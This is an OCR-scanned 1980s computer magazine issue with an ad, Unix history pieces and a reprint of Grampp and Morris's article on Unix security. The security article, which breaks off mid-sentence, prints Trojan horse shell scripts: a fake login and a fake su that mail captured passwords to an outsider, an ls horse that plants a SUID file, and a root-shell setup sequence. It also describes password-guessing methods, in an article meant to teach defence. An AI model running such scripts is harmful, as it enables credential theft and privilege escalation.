With DataFlex you won't have to burn extra fuel searching the AVAILABLE ON: CP/M, CP/M-86, MP/M-86, MS-DOS, 
skies for add-on utility packages to get the power and PC-DOS, Molecular N-Star, Televideo Mmmost, Omninet, 
performance you need. From menus and multi-file data entry TurboDOS, Novel Share Net, PC-Net, DMS Hinet, IBM ‘PC’ 
screens and reports to automatic file definition and an w/Corvus, OSM Muse. 
integrated text editor. DataFlex is a complete application 3-COM, CCP/M86, M/NET, DAVONG, X-NET 
development system. Ask us about our training courses. 

SUPPLIED AND SUPPORTED BY THE EXPERTS 

AUSTRALIAN 
MICROCOMPUTER 
SOLUTIONS 
‘Currabeg House’, 248 Latrobe Tce, Geelong 3220. Ph (052) 211300 

44 



chess, blackjack, 3D tic-tac-toe) available 
on the system illustrate a much more sev- 
erely restricted environment. For each of 
these, an entry exists in the password file 
specifying that the appropriate game- 

playing program is to be invoked instead of 
the shell. People who log in as a player of 
one of these games find themselves li- 
mited to the game and unable to investi- 
gate the (presumably more interesting) 
offerings of the Unix system as a whole. 

Unix In Perspective 

Perhaps paradoxically, the success of the 
Unix system is largely due to the fact that it 
was not designed to meet any predefined 
objectives. 

The first version was written when one of 
us (Thompson), dissatisfied with the avail- 
able computer facilities, discovered a lit- 
tle-used PDP-7 and set out to create a 
more hospitable environment. This 
(essentially personal) effort was sufficient- 
ly successful to gain the interest of the 
other author and several colleagues, and 
later to justify the acquisition of the PDP- 
11/20, specifically to support a text editing 
and formatting system. When in turn the 
11/20 was outgrown, the system had 
proved useful enough to persuade man- 
agement to invest in the PDP-11/45, and 
later in the PDP-11/70 and Interdata 8/32. 
machines. 

Our goals throughout the effort, when 
articulated at all, were always to build a 
comfortable relationship with the machine 
and to explore ideas and inventions in 
Operating systems and other software. We 
were not faced with the need to satisfy 
someone else’s requirements, and for this 
freedom we are grateful. 

Three considerations that influenced 
the design of Unix are visible in retrospect. 

First: because we are programmers, we 
naturally designed the system to make it 
easy to write, test, and run programs. The 

most important expression of our desire 

for programming convenience was that the 

system was arranged for interactive use, 
even though the original version only sup- 
ported one user. 

Second: there have always been fairly 
severe size constraints on the system and 

its software. Given the partially antagonis- 
tic desires for reasonable efficiency and 
expressive power, the size constraint en- 

couraged not only economy, but also a 
certain elegance of design. This may be a 
thinly disguised version of the ‘salvation 
through suffering’ philosophy, but in our 
case it worked. 

Our goals throughout the 
effort, when articulated at 
all, were always to build a 
comfortable relationship 
with the machine and to 

explore ideas and 
inventions in operating 

systems and other 
software. 

Third: nearly from the start, the system 
was able to, and did, maintain itself. This 
fact is more important than it might seem. 
If designers of a system are forced to use 
that system, they quickly become aware of 
its functional and superficial deficiencies 
and are strongly motivated to correct them 
before it is too late. Because all source 
programs were always available and easily 
modified on-line, we were willing to revise 
and rewrite the system and its software 
when new ideas were invented, discovered, 
or suggested by others. 
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The aspects of Unix discussed here ex- 
hibit clearly at least the first two of these 
design considerations. The interface to the 
file system, for example, is extremely con- 
venient from a programming standpoint. 

The lowest possible interface level is de- 
signed to eliminate distinctions between 
the various devices and files and between 
direct and sequential access. No large ‘ac- 
cess method’ routines are required to in- 
sulate the programmer from the system 
calls; in fact, all user programs either call 
the system directly or use a small library 
program, less than a page long, that buf- 
fers a number of characters and reads or 
writes them all at once. 

Likewise, the process-control scheme 
and the command interface have proved 
both convenient and efficient. Because the 
shell operates as an ordinary, swappable 
user program, it consumes no ‘wired- 

down’ space in the system proper, and it 
may be made as powerful as desired at 
little cost. In particular, given the 
framework in which the shell executes as a 
process that spawns other processes to 
perform commands, the notions of I/O re- 

direction, background processes, com- 
mand files, and user-selectable system in- 
terfaces all become essentially trivial to 
implement. O 
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NEOLOGY — 
A Local Hero 
Although Australia has lagged behind in many areas 
of technological development, it seems to have been 
among the leaders in the development of Unix as a 
commercial tool. Sydney company Neology is a 
frontrunner in this work. 

hen Greg Rose, John O’Brien 
and Allan Moore first moved 
into the commercial Unix 
world five years ago, it was 

hardly a dramatic entrance. Although the 
three could boast some of the finest talent 
in the Unix field, they were broke. The total 
investment they could scrape together was 
$2378.41. 

That unlikely figure was sufficient to se- 
cure a licence from US software company 
Whitesmiths for the right to sell its range 
of C compilers in Australia. 

For many months after setting up the 
company, called Fawnray, the three in- 
vested much ‘sweat capital’ (working with- 
out wages) and relied heavily on the sup- 
port of working wives to keep them going. 
To make the business pay, they originally 
undertook contract programming work, as 
well as working with the Whitesmiths’ pro- 
ducts. 

Getting in on the Ground Floor 

Rose recalls the decision to go with Unix: 
"At the time, AT&T did not appear to be 
serious about Unix, so it looked like we had 
the chance to get into the market with Unix 
lookalikes and support them, while AT&T 
ignored its own really nice product.” 

One of the company’s early achieve- 
ments was the development of a small 
operating system for a power station con- 
trol application. Called Perm Library, it 
was a ‘piecemeal’ operating system, de- 
signed to allow users to pick and choose 
which sections met their needs. 

Rose also spent some time at 
Whitesmiths, enhancing its products. He 

ported Idris, the Unix lookalike, to DEC’s 
VAX, as well as developing a new timeshar- 
ing scheduler for the Idris operating sys- 
tem across the range. 

Then Elxsi called upon Rose to run the 
project team which ported Unix to the su- 
percomputer, a feat which ensured recog- 
nition for Neology throughout the Unix 
community. 

"Having been so isolated 
from the US, we have 

developed an independent 
industry. This is true of 
our software industry in 

general.” 

According to Rose, the kind of expertise 
needed to complete a project such as the 
Elxsi port is still in limited supply today. 
“We were among the first five or six people 

to get Unix going in this country when we 
were at the University of NSW. Today, ours 
is one of only a few companies around the 
world which specialises in general- 
purpose software development with Unix.” 

Creating a New Word 

In late 1984, Fawnray decided to move into 
the applications area. Another company, 
Prance Computer, had already filled this 

niche and it seemed logical for the two to 
merge. A factor involved in this decision 
was the ability to attract funding. The Au- 
Stralian Industry Development Corpora- 

tion had already expressed interest in get- 
ting into the Unix field, and an injection of 
venture capital from the AIDC gave the new 
concern, Fawnray Prance, a healthy start to 
its business life. Today, the company has a 
new name (Neology), new premises and 

over 30 staff. 
Rose believes there is a great deal of 

talent in the Unix area in Australia. “One of 
the reasons for this is because we adopted 
Unix very early on. I think we were the first 
country to get a Unix licence outside the 
US, and we formed good relationships with 
Bell Labs and Berkeley University.” 

“We've been on the scene for a long time 
and having been so isolated from the US, 
we have developed an independent indus- 
try. This is true of our software industry in 
general. All of this gave us a good head 
Start in Australia.” 

Rose also believes the adoption of Unix 
by hardware manufacturers is inevitable. 
“Hardware people cannot avoid using 
Unix. Something like 1000 years of de- 
velopment work has gone into Unix — it is 
an evolved system. It is possible for others 
to develop Unix-like systems, but not new 
ones. And when it comes to buyers, small 
buyers are mad to go with non-Unix oper- 
ating systems. They have to upgrade or in 
five years they'll be cutting their own 
throats. 

“| think the world will go the way of dual 
operating systems, a proprietary one and 

Unix.” O 
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The 

n the early Seventies, operating sys- 
tems were formidable obstacles 
placed between a program and its 
successful execution on a computer. 

It was firmly believed that operating sys- 
tems must be large, complex and at least 
to some extent incomprehensible. This 
provided job security for an ever- 
increasing stream of system programmers 
who made heroic efforts to manage the 
unmanageable and to comprehend the in- 
comprehensible. 

It was strongly felt (without a shred of 
scientific evidence one way or the other) 
that an operating system must be tailor- 
made for a given computer architecture, 
and to achieve an efficient and compact 
system it must be written in the assembly 
language of the machine. 

Dijkstra had shown in 1967 that this 
need not be the case by designing and 
implementing a small, compact, compre- 
hensible and powerful operating system 

called THE Operating System (for Technis- 
che Hochschule Eindhoven). His work was, 
however, either ignored or regarded as an 
academic curiosity, especially since the 
system was implemented on an obscure 
Dutch computer, EL X8. 
Some universities were studying the 

problems of portability of operating sys- 
tems, but all these systems were 
designed to illustrate specific 
problems and concepts, and 
each of them was in at least 
one major way insufficient 
as a production operating 
system for a computer centre service 
operation. 

In New South Wales, four separate 
events took place which made the first port 
of the Unix system necessary and possible. 
In May 1975 | took up the Foundation Chair 
of Computing Science at the University of 

Wollongong and found that with a main- 
frame computer, practical laboratory work 
for first-year students of Computing Scien- 
ce is neither cost effective nor flexible 
enough for easy use. 

In July 1976 Richard Miller took up the 
position of Tutor in Computing Science. 
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First Port of Unix 
BY JURIS REINFELDS 
Department of Computing Science, 

The University of Wollongong 

Most people know the port of Wollongong, but what 
about the Wollongong Port? In Unix circles, the New 
South Wales coastal city is famed not as a centre for 
steel and shipping, but as the site of the first port of 
the Unix operating system from the PDP-11 to 
another machine. 

AMM...NO EARS, BUT 

FEELS VERY HORNY... 
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OBSCURE AGRONOMY EXPERIMENT 
FA\LVURE SOKE.... 

Richard came to us from Canada, where he 
had revised the 20,000-line first imple- 
mentation of my interactive graphics lan- 
guage SIGMA and produced a 2,000-line 
second implementation which had all the 
essential aspects of the first, but with fewer 

bugs and an impressive running speed. 
Also in 1976 the University of Wollon- 

gong allocated a small amount of money 
to establish a Computing Science Time- 
Sharing Laboratory for the support of 
hands-on practical work by students and > 
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Staff. | visited Professor Murray Allen and 
Dr John Lions at the University of NSW to 
see how they managed their practical work, 
and they suggested we should take a close 
look at Unix, which was then available as 
Version 6 on PDP-!1 computers. 

Unfortunately (or as it later turned out, 
fortunately) our funding was insufficient 
for a reasonably sized PDP-11 computer, 
but was sufficient for an Interdata (later 
renamed Perkin-Elmer) 7/32. 

Murray Allen gave me a barely readable 
copy of a copy of the first Ritchie and 
Thompson article on Unix. It had appeared 
in the Communications of the ACM in 1974, 
but somehow | had missed its significance 
at that time. It was immediately obvious to 
me that here was a simple, powerful and 
elegant operating system which stands be- 
tween the program and its execution much 
less than any other commercially available 
system I had used or studied. 

It was also obvious that the elegance of 
its design and the consistency of its con- 
cepts and their implications would make it 
possible to transfer the system to another 
computer where it would run efficiently, 
provided the target machine satisfied 
some simple requirements such as: byte- 
addressable memory; hardware memory 
mapping to provide each process with a 
separate address space; and a uniform reg- 
ister set. 

Richard was looking for a reasonably 
challenging programming problem, so | 
suggested to him that it would be very 
useful for the practical work of our stu- 
dents, as well as a bold example for the 
discipline of computing science, to snow 
that elegant and simple designs are port- 
able without loss of power, speed and 

capability, by actually doing the port. We 
applied for our Unix licence and waited. 

Since it was a daring step to commit all 
the resources of a fledgling Computer Sci- 
ence section of a Mathematics Depart- 

ment to a project which no one had 
achieved before, and to expect a produc- 
tion-level system in no more than 12 
months, we decided to reduce distractions 
such as sceptical comments by non- 
believers to a minimum and talk about the 
project only if and when it was finished 
successfully. 

The First Step 

Our Unix licence arrived, and on November 
9, 1976, Richard and I went to the Universi- 
ty of NSW to look at Unix source code, as 
our copy of the code had not yet arrived. 
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At this stage Richard 
quietly put aside the 

optimising pass of the C 
compiler for PDP-11 code, 
to be implemented later 
when time permitted. To 

this day nobody has 
complained about its 

absence, which shows that 
good programs don’t need 
automatic optimisation, 

while bad programs 
cannot be rescued by it. 

The first step was to port the C compiler, 
and there we had a problem. We had no 
PDP-1I1 in Wollongong and the University 
of NSW had no Interdata 7/32. We had the 
source code for the PDP-11 C compiler, 
which was written to generate PDP-1| 
assembler code. We needed a compiler to 
generate Interdata 7/32 assembler code. 
We had to rewrite the code-generation part 
of the compiler to generate assembler 
code for the new machine, compile this 
source language program of the compiler 
on the old machine (where a running com- 
piler existed), transfer the code to the new 
machine, test it and repeat the cycle until 
the compiler compiled itself on the new 
machine. This is a simple process if both 
machines are in the same room, but in our 
case they were 80 km apart, with travel 
funds available for three trips at the most. 

Richard made only two trips to the Uni- 
versity of NSW and by January 5, 1977, the C 
compiler was compiling itself, and all the 
test programs we could give it, without any 
bugs. On January 10, 1977, Ross Nealon 
completed the port of the Unix editor, ed, to 
the Interdata machine. 

At this stage Richard quietly put aside 
the optimising pass of the C compiler for 
PDP-11 code, to be implemented later 
when time permitted. To this day nobody 
has complained about its absence, which 
shows that good programs don’t need 
automatic optimisation, while bad prog- 
rams cannot be rescued by it. 

The Kernel 

Our Interdata 7/32 was heavily used by 
staff and students as a general timesharing 
computer, seven days a week, from about 8 
am until 10 pm. We had no PDP-11 avail- 
able to us. Hence the only way to imple- 
ment the porting was to try to find a way to 
run the kernel of Unix as a user process 
under the existing operating system of the 
Interdata 7/32, and to test it by simulating 
Interdata input/output devices with soft- 
ware-generated interrupts. Luckily this 
was possible in the Interdata operating 
system and on February 4, 1977, Richard 
had a working Unix kernel without terminal 
drivers and interrupt handling. On Febru- 
ary |O we could use Unix under the Interda- 
ta operating system, with about eight com- 
mands and a skeleton shell. 

Device Drivers 

With a debugged kernel it was relatively 
easy to write device drivers. The main 
problem was inaccurate and incomplete 
information in device manuals, which had 
to be rectified by experimenting, often with 
great patience and ingenuity. On April 28, 
1977, at 2 pm, Richard presented to us our 
Interdata 7/32 Unix, working in stand- 
alone mode without the Interdata operat- 
ing system. We now had a kernel, a tty-type 
terminal driver, a disk driver, an interrupt 
handler, a shell, a few dozen system com- 
mands and ed. 

Production-Level System 

Migration programs were written for the 

conversion of Interdata files to Unix, as 
well as for the reverse. Some of the Unix 
utilities which were written in C were 
ported to the Interdata, and by July 1977 
Interdata’s FORTRAN, BASIC and CAL 
(assembler) were running under Unix, 
either with a rewritten system call interface 
orasystem call emulator where we did not 
have the source code. On July 25, 1977, 
Unix was put into production in the Com- 
puting Science Laboratory under a heavy 
user load and it was an immediate success. 

It is remarkable that Richard’s code 
needed no alpha testing, no beta testing 
and no trial period, as is customary with 
the introduction of a new software system. 
It is even more remarkable that Richard 
achieved standalone operation without 
ever taking the machine out of production. 
With careful planning, as much system 
testing as possible was done on the simu- 
lated devices running as a user task under 
the Interdata system. Where standalone 



operation was essential Richard per- 
formed the testing late at night, between 
10 pm and 8 am, while carrying a full sys- 
tem support work load during the day. For 
many months, night after night, the light in 
Richard's office and in our machine room 
were the only bright spots in an otherwise 
peacefully slumbering university. 

Follow-up Work 

After the completion of the port other in- 
stitutions became interested in our ver- 

sion of the Unix system. With permission 

from Western Electronics we shipped our 
version to the University of Illinois, where it 
was installed and ran for the first time in 
January 1978, and to the University of Mel- 
bourne in March 1978. Unix Release 7 ar- 
rived in Wollongong on August 7, 1979, 
and Richard had it running in production 
on Saturday, September 29, on our Perkin- 
Elmer 3220, which in the meantime had 
replaced the Interdata 7/32. 

Since we had deliberately and con- 
sciously resisted the temptation to add 
local ornaments, extensions and other ‘im- 
provements’ to the system, our port of Re- 

lease 7 was in production earlier than the 
PDP-11 versions at other Australian uni- 
versities, which had to convert a large 
amount of local modifications. 

Frustrations 

In the years 1977-1980 I tried in vain to 
interest our industry, our university and 
our government in the remarkable lead we 
had on the rest of the world. By 1980 we 
had shipped about 30 systems to all parts 
of the world. While on a visit to the Nation- 
al Computer Conference at Anaheim, Cali- 
fornia, I finally met some interested peo- 
ple. They immediately formed a company, 
purchased world rights for our contribu- 
tion to Perkin-Elmer Unix from the Uni- 
versity, and in honour of the occasion cal- 
led the company The Wollongong Group 
Inc. TWG, as it is now known, later sold our 
Unix to Perkin-Elmer, from which it was 
commercially available as the first manu- 
facturer-supported Unix, called Perkin- 
Elmer Edition 7. Only in 1984 was it super- 
seded by Perkin-Elmer’s own port of Unix 
system 5.2. 

Retrospect 

Bell Laboratories completed the second 
port of Unix in late 1977 or early 1978. The 
target was by coincidence another Interda- 
ta machine, the 8/32. This port made a 
major contribution to the enhanced porta- 

| tried in vain to interest 
our industry, our 
university and our 
government in the 

remarkable lead we had 
on the rest of the world. 

While on a visit to 
California, | finally met 
some interested people. 

bility of Release 7 Unix, but it never be- 
came a commercial product. 

Richard Miller left Wollongong in 1981. 
In spite of his achievements the University 
of Wollongong was unable to provide him 
with a research computer dedicated to his 
own use, so he still had to test his prog- 
rams and ideas between 10 pm and 8 am. 
Since leaving Wollongong, Richard has, 
among other software developments, per- 
formed several additional Unix ports. He is 
probably the only person in the world who 
has performed five ports of four different 
versions of Unix (Release 6, Release 7, Ber- 

The First Port 

keley 4.1 and System 5.2) to four different 
target machines (Interdata 7/32, Perkin- 
Elmer 3200 series, National Semiconduc- 
tor 16000 series and Motorola 68000). 

Unix porting is commonplace now, but 
even today a port seldom exceeds in speed 
and elegance the six months it took 
Richard Miller to take a system he had 
never seen before to a new computer, 
where it was not supposed to work well, 
and to make it work better than the native 
operating system. 

There is no better way to summarise the 
achievement of the first port of Unix than 
by quoting Dr Douglas Mclilroy, the Head of 
the Computing Techniques Research De- 
partment at Bell Laboratories, who said: 

“We here at Bell Laboratories were 
truly dumbfounded when this visitor 
from an unknown school in Australia 
reported his elegant procedure and re- 
markable success. Our own people took 
considerably longer to move Unix to an 
Interdata machine, not because they 
were not as clever but because they had 
a different objective: a portable Unix 
rather than a Unix port. But I think 
they'd have blinked before undertaking 
the heroic effort that Richard Miller did, 
and he did not even have a Unix compu- 
ter to port from.” C 
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CRACK A UNIX TODAY. 

Unix, the breakfast of champions? So it seems — 
cracking Unix is everyone's favourite sport. Is it just 

because Unix is surrounded by university hackers, or 
are there fundamental flaws in the system's security? 
Perhaps it's a bit of both: many of the features that 
make Unix so versatile and attractive also leave it 
open to misuse, while inventive hackers have also 
gone to extraordinary lengths at times to find a way 
past the ‘armour’. Bell Laboratories engineers 
Frederick T Grampp and Robert H Morris 
have the inside story on why Unix is so easy to crack 
— and how you can stop it happening. 
Copyright 1984 AT&T Laboratories Technical Journal, Vol 63, No 8, October, 1984. 

WELL I THINK 

aA GOOD 

EDUCATE USERS ABOUT BAD 

PASSWORDS AND GOOD PASSWORDS 

tem — you simply disconnect all dial- 
up connections, permit only direct- 

wired terminals, put the machine and 
its terminals in a shielded room, and post 
a guard at the door. No problems ... 

There are many Unix systems run under 
exactly these conditions — usually those 
that contain classified or sensitive defence 
information. If someone tells you Unix 
lacks security, you can always show them 
one of these! 

For the rest of the world, there is a 
number of options that provide a measure 
of security almost as good — for example, 
systems which respond to a dial-up call by 
calling back on a preassigned number. The 
Unix system is, however, unlike many com- 
mercially available operating systems 
which make it essentially impossible to 
create or install any user software or ap- 
plication software without administrative 
help — their security measures work by 
restricting access to the system and by 
reducing the powers that the system gives 
its users. 

Unix was designed to increase, not de- 
crease, the power and flexibility available 
to its users. It was designed to be easily 
accessible and to facilitate communica- 
tion within its user community. 

Most Unix systems, not surprisingly, are 
of the dial-up variety. They provide their 
users with a general programming ability 
— to create, install, and use their own 
programs. All but a few of their files are at 
least readable by anybody, and most such 
systems have access to thousands of other 
systems via remote mail and file transfer 
facilities. That is, people use the Unix sys- 
tem as its creators intended it to be used. 

| t’s easy to run a secure computer sys- 

Password Security 

The most important, and usually the only, 
barrier to the unauthorised use of a Unix 
system is the password a user must type to 
gain access to the system. Much attention 
has been paid to making the Unix pass- 
word scheme as secure as possible against 
would-be intruders. The login password is 
encrypted in a one-way transformation, 
and compared to the encrypted password 
previously stored in the passwords file. 
There is no readable record anywhere of 
the user's password. 

No method appears to be known to ex- p 
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tract a user's password from the encrypted 
version that is stored, so the brute-force 
attacks won't work. However, it turns out to 
be easy to write programs that are ex- 
tremely successful at extracting passwords 
from password files, and that are also very 
economical to run. They operate by gues- 
sing what a user's password might be, and 
then trying over and over until the correct 
one is found. 

Such programs are commonly called 
password crackers. They were virtually un- 
heard of five years ago, but are widely 
known today. They work by encrypting a 
good guess as to what a person's password 
might be, and comparing this with the en- 
crypted password in the file. Good guesses 
can be made without any personal know- 
ledge of the people listed in the password 
file — the file itself provides clues. 

The most important clue is the login 
name — people who are naive about 
security issues often use login names or 

variations thereof as passwords. For exam- 
ple, if the login name is abc, then abc, cba, 
and abcabc are excellent candidates for 
passwords. 

Experiments involving over one hun- 
dred password files have shown that a 
program which uses only these three gues- 
ses can be counted on to deliver between 
eight and 30 percent of the passwords in 
cases where neither users nor system 
administrators have been security- 
CONSCIOUS. 

Make it difficult for 
outsiders to obtain a copy 
of a machine's password 
file. An intruder who is 
denied a copy of the file 

must resort to dialling into 
the target machine and 

making guesses 
interactively via the 

normal login sequence. 

Other clues can also be had from the 
password file. There is a comments field 
that is used in most systems to provide 
information about a user. It usually con- 
tains things like surname, given name, 
address, telephone number, project name, 
and so on, all of which can be extremely 
rewarding to try. 

Finally, if an intruder knows something 
about the people using a machine, a whole 
new set of candidates is available. Family 
and friends’ names, car registration num- 
bers, hobbies and pets are particularly pro- 
ductive categories to try interactively in 

the unlikely event that a purely mechanical 

Crack a Unix Today 

scan of the password file turns out to be 
disappointing. 

Once the hazards are known, remedial 
steps can be taken to bolster password 
security: 

@ Make it difficult for outsiders to obtaina 
copy of a machine’s password file. An 
intruder who is denied a copy of the file 
must resort to dialling into the target 
machine and making guesses interac- 
tively via the normal login sequence. 

® Remove the encrypted passwords from 
the password file and place them ina 
parallel file that is unreadable to the 
general public and to networking prog- 
rams like uucp. A considerate touch here 
is to replace the encrypted fields in the 
password file with random strings of the 
proper length and in the alphabet of 
encrypted passwords. This has the 
potential for not interfering with legiti- 
mate programs that might use the file, 
and wasting large amounts of an intrud- 
ers time. 

B Likewise, keep the comment field else- 
where. 

@ Modify the password program to pre- 
vent users installing easily derivable 
passwords such as abcabc. 

® Educate users about bad passwords 
and good passwords. One recipe for 
good passwords is to pick some com- 
mon word that is easily remembered 
but in no way associated with its owner, 
and then to botch it in some way so that 
it will not be found in a dictionary (by 
misspelling it, adding punctuation, and 

SO On). 
It takes continuing ingenuity to keep up 

with prevailing silly practices in choosing 
passwords. Several years ago, new soft- 
ware was distributed that required all new 
passwords to contain at least six charac- 
ters and at least one nonalphabetic char- 
acter. The authors made a survey of several 
dozen local machines, using as trial pass- 
words a collection of the 20 most common 
female first names, each followed by a 
single digit. The total number of pass- 
words tried was, therefore, 200. At least 
one of these 200 passwords turned out to 
be valid on every machine surveyed! 

Files and File Systems 

Every file in a Unix system has associated 
with it a set of permissions that specifies 
who can access the file and how. The per- 
missions are kept in a nine-bit field that is 
part of a variable called mode, which is part 
of a larger structure called an i-node, which Db 
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describes the file. 
These bits specify read, write, and ex- 

ecute permissions for the owner of the file, 
others in the owner's group, and everybody 
else. In Unix software and writings about it, 
the permissions field is most often pre- 
sented as either a three-digit octal number 
oranine-character string. For example, the 
mode of a file that can be read, written, or 
executed by its owner, read and executed 
by members of the owner's group, and read 
by everybody else would be 754 or rwxr- 
Xr— 

All such permission checking is bypas- 
sed if the user is the super-user. 

We must mention two additional things 
about directories. First, since a directory 
cannot be executed, the bits that would be 
used to specify execute permissions are 

instead used to specify search permis- 
sions; that is, the ability to climb into a 
directory or to use it as a component of a 
path name. Second, underlying directory 
permissions can adversely affect the safety 
of seemingly protected files. 

Suppose that d is a directory whose 

Some early versions of the 
mail command, which ran 
as super-user, to be able 

to write in protected 
mailboxes, could be coaxed 

to do things like 
appending lines to the 

password file. 

mode is 730 that contains a file f of mode 
644, that both d and f have the same owner 
and group, and that f contains the text 
something. Disregarding the super-user, no 
one besides the owner of f can change its 
contents, since only the owner has write 
permission. Notice, though, that anyone in 
the owner's group has write permission for 

d, so that any such person can remove f 
from d and install a different version: 
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rm d/f 

echo something else>d/f 

which for most purposes is the equivalent 
of being able to modify f. Further, had f 
een a directory rather than a file, the 

same person could have moved it (and all 
its contents) elsewhere and replaced it 
with an entirely new structure. Thus, to 
ensure a file cannot be modified, it is 
necessary that: 
@ The file itself be write-protected. 
@ The directory containing it, and all lower 

directories, be similarly protected. 

@ Group permissions must be considered. 
This last is especially important if most 
of the users of a system are in the same 
group, as is the default case on most 
Unix systems. 

The mode of an existing file can be 
changed with the chmod command, or, from 
a C program, by using the system call of the 
Same name. The ownership of a file is 
changed by using the chown command and 
system call. Some versions of Unix restrict 

chown to the super-user. Others also permit p 
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the owner of a file to give it away to some- 
one else. The latter convention provides an 
opportunity for fraud on systems whose 
users are charged for their disk space, but 
there is also a subtler problem that will be 
discussed in the next section. 

Finally, when a file is created, it is given 
the owner and group IDs of the user who 
created it, and a mode that corresponds to 
an argument of the creat or open system 
calls, modified by a user-supplied para- 
meter called a umask. 

A Change Of Identity 

The set-userid (SUID) facility is a novel and 
useful feature in the Unix system. It allows 
a program to be constructed in such a way 
that the individual or group ID, or both, of 
the user who executes the program is 
changed temporarily for the duration of 
the program’s execution. 

This makes it trivially easy to write prog- 
rams that would be difficult or impossible 
to implement on other operating systems. 

Any user can set up a game that keeps a 
score file which is normally protected from 
others but is open for writing and reading 
to anyone who is currently playing the 
game. There are some programs that are 
similarly easy to write, like ps, which shows 
what is going on in the system (by reading 

operating system memory locations); df, 
which shows disk utilisation (by reading 
the physical disk); and passwd, which lets a 
user write in the password file to change a 
password. 

If any user of the system were free to 
issue the following sequence of com- 
mands: 

cp/bin/sh a.out 
chmod 4777 a.out 

chown root a.out 

the result would be a shell that would give 
super-user privileges to anyone who ex- 

ecuted it. The danger is obvious, and is 
disabled by the design of the chown and 
chmod commands and system calls. 

The clear danger is taken care of, but the 
feature is by no means tame. Over the 
years it has provided truly horrid security 
flaws in various versions of the system. 

Some early versions of the mail command, 
which ran as super-user, to be able to write 
in protected mailboxes, could be coaxed to 
do things like appending lines to the pass- 
word file. Some versions of login, when in- 
voked after all available file descriptors 
were in use, would log a user in as the 

The most desirable 
identity for the intruder to 

assume is that of the 
super-user. System 

administrators acquire 
super-user privileges by 

executing a program called 
su. The su command 

asks for the root password 
and bestows systemwide 
privileges to those who 

type it correctly. 

super-user. Sending a quit signal to a run- 

ning SUID program would produce a writ- 
able SUID file called core, suitable for de- 
bugging and other things. The list is long, 
but the point is made: the SUID facility is a 
very powerful tool, and like all powerful 
tools it must be handled with care. Here 
are some hints about care. 

SUID programs should be used only 
when there is no other way to get a desired 
result. On most Unix systems, perhaps a 
dozen SUID programs, excluding games, 
are really needed. A lax attitude about 
SUID programs, combined with a ‘quick 
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and dirty’ programming style, can produce 
disasters. 

It is difficult, when users are writing all 
but the most trivial programs, to deter- 
mine in advance that the program will be 
correct. Programs sometimes do the most 
amazing things in unforeseen circumst- 

ances. When SUID programs are being de- 
signed and written, it is particularly impor- 
tant to pay attention to simplicity of func- 

tion and cleanliness of implementation, 
since unexpected behaviour can easily 
produce security holes. 

Escapes from SUID programs — child 
processes that are given a shell — are 
highly unrecommended. If these cannot be 
avoided, the designer must carefully con- 
sider the consequences of inherited files, 
signals, the shell’s environment, and so 
on. 

SUID programs that are writable by any- 
one besides their owners should be consi- 
dered threatening. 

The Trojan Horses 

A favourite tool of the intruder is the Tro- 
jan horse. As the name implies, a Trojan 
horse is a program that an intruder gives to 

an unsuspecting user of a system. It does 
what it is obviously supposed to do, but it 
also quietly performs some malfeasance 
on behalf of the intruder. The technique 
has been around for thousands of years, 
and it still works splendidly. Here are some 
modern instances. 

A favourite used to capture someone's 

password is to simulate an unsuccessful 
login attempt, as if the user had made ap 



typing mistake, and that is a horse of a 
different colour. The program is written 
thus: 

echo -n''login:” 
READ X 

stty -echo 
echo -n''Password:” 
READ Y 

echo'”’ 
stty echo 
echo SX SY mail outside!creep& 
sleep | 
echo Login incorrect 
stty O>/dev/tty 

The shell script is simplicity itself, with a 
few kindnesses added to make its victim 
feel more at home. It asks for a login name 
and then a password, mails these to the 
bad guy, announces failure, and hangs up 
the phone. The user then dials the compu- 
ter, gets a real login command, carefully 
types what is asked for, and goes about 
business as usual, unaware of the swindle. 

Once on the target machine, the intrud- 
er can use similar horses to acquire the 
privileges of other users. One of the most 
frequently used commands on Unix sys- 
tems is Is, which is Unix system shorthand 
for “tell me some things about these files”. 
The ls command can be used in many con- 
texts and with many options, but as was 
the case with login, a trivialised version 
can give joy to an intruder: 

>somewhere/.harmless 

chmod 6777 somewhere/.harmless 

sleep 2 
echo {Is: not found” 
rm Is 

It is placed in an executable file named Is 
in any writable directory that the victim 
will search for commands before looking in 
/bin. When executed, it creates a writable 
file called harmless in some far corner of the 
machine, with the SUID bits turned on the 
file's permission mask. It then prints {ls: 
not found, erases itself, and exits. 

The { is indicative of a noisy telephone 
line. People are used to it, and will auto- 
matically retype a command that gets such 
a hit. When the command is retyped, the 
horse is gone, and the real Is is executed. 
Sometime later, the intruder will copy the 
Shell into .harmless, execute it, and assume 
the identity of the victim. 

The most desirable identity for the in- 
truder to assume is that of the super-user. 
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There is no defence 
against the login horse 
except user education. 

Anyone who walks up to a 
previously unattended 

terminal that says ‘login:’ 
and types in the keys to 
the machine is fair game. 

System administrators acquire super-user 

privileges by executing a program called 
su. The su command asks for the root pass- 
word and bestows systemwide privileges 
to those who type it correctly. A horse 
named su, placed where it will be executed 
by a system administrator, can usually be 
relied on to send a gift within hours: 

stty -echo 
echo -n''Password: “ 
READ X 

echo *” 
stty echo 
echo SX mail outside!creep& 
sleep | 
echo Sorry. 
rm su 

Horses like this are easy to make and 
can be custom-tailored to suit a wide vari- 
ety of applications. Knowing how they 
work suggests ways to defend them, as 
discussed below. 

In order for horses like Is and su to work, 
they must be planted in places where they 
will be executed by their intended victims. 
If the directories that are searched prior to 
/obin are not writable by the intruder, the 
horse cannot be planted. Such protection 
is most important for system administra- 

tors. 

Modifying the (real) su program so it 
insists upon being invoked by a full path 
name is very effective. The change is trivial 
— the program needs only to check that 
the first character of its zeroth argument is 
/ Legitimate users very quickly fall into the 
habit of typing /bin/su rather than su, there- 
by guaranteeing that the official version 
gets executed, regardless of whether a 
horse is nearby. A further recommended 
change to su is that on successful invoca- 
tion it changes the PATH string so only /bin 
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and /user/bin will be searched for com- 
mands. This prevents nonstandard ver- 
sions of commands like Is from being ex- 
ecuted with super-user privileges. 

There is no defence against the login 
horse except user education. Anyone who 
walks up to a previously unattended ter- 
minal that says ‘login:’ and types in the 
keys to the machine is fair game. 

Remote-control Robbery 

Several times in the previous discussion it 
was tacitly assumed that files pertaining to 
the security of a system — in particular, 

the password file — might very well be 
available to an intruder who had not yet 
managed to penetrate the system. It turns 
out that the same communications prog- 
rams that facilitate the exchange of ideas 
and information among people on diffe- 
rent machines can, unless great care is 

taken, be used to subvert a machine froma 
safe distance. 

The uucp program makes it possible to 
copy files from one Unix system to 

another, and is the workhorse of Unix net- 
working. Indeed, the ease of information 
interchange by way of uucp and programs 
like mail that use it accounts for much of 
the usefulness and popularity of the Unix 
system. 

The problem with uucp is that, if left 
